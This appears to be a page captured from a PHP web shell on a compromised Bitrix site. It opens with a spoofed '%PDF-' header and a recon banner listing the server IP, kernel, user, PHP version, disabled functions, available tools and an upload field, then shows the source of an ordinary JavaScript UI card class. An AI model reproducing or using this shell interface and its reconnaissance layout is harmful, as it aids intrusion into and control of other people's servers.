%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.116.69.107 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/messagecard/src/ |
Upload File : |
import {Cache, Dom, Tag, Text, Type, Event} from 'main.core'; import {EventEmitter} from 'main.core.events'; export class BaseCard extends EventEmitter { constructor(options = {}) { super(); this.cache = new Cache.MemoryCache(); this.data = {...options}; this.options = this.data; this.id = Type.isStringFilled(this.options.id) ? this.options.id : Text.getRandom(); this.hidden = Text.toBoolean(this.options.hidden); this.onClickHandler = Type.isFunction(this.options.onClick) ? this.options.onClick : () => {}; this.onClick = this.onClick.bind(this); this.layout = this.getLayout(); this.header = this.getHeader(); this.body = this.getBody(); this.setTitle(this.options.title || ''); this.setHidden(this.options.hidden); if (Type.isStringFilled(this.options.className)) { Dom.addClass(this.layout, this.options.className); } if (Type.isObject(this.options.attrs)) { Dom.adjust(this.layout, {attrs: this.options.attrs}); } Event.bind(this.layout, 'click', this.onClick); } getLayout(): HTMLDivElement { return this.cache.remember('layout', () => { return Tag.render` <div class="ui-card"> ${this.getHeader()} ${this.getBody()} </div> `; }); } getHeader(): HTMLDivElement { return this.cache.remember('header', () => { return Tag.render` <div class="ui-card-header"></div> `; }); } getBody(): HTMLDivElement { return this.cache.remember('body', () => { return Tag.render` <div class="ui-card-body"></div> `; }); } setTitle(title: string) { this.getHeader().textContent = title; } setHidden(hidden: boolean) { Dom.attr(this.getLayout(), 'hidden', hidden || null); } onClick() { this.onClickHandler(this); this.emit('onClick'); } show() { this.setHidden(false); } isShown() { return Dom.attr(this.getLayout(), 'hidden') === null; } hide() { this.setHidden(true); } getNode(): HTMLDivElement { return this.getLayout(); } }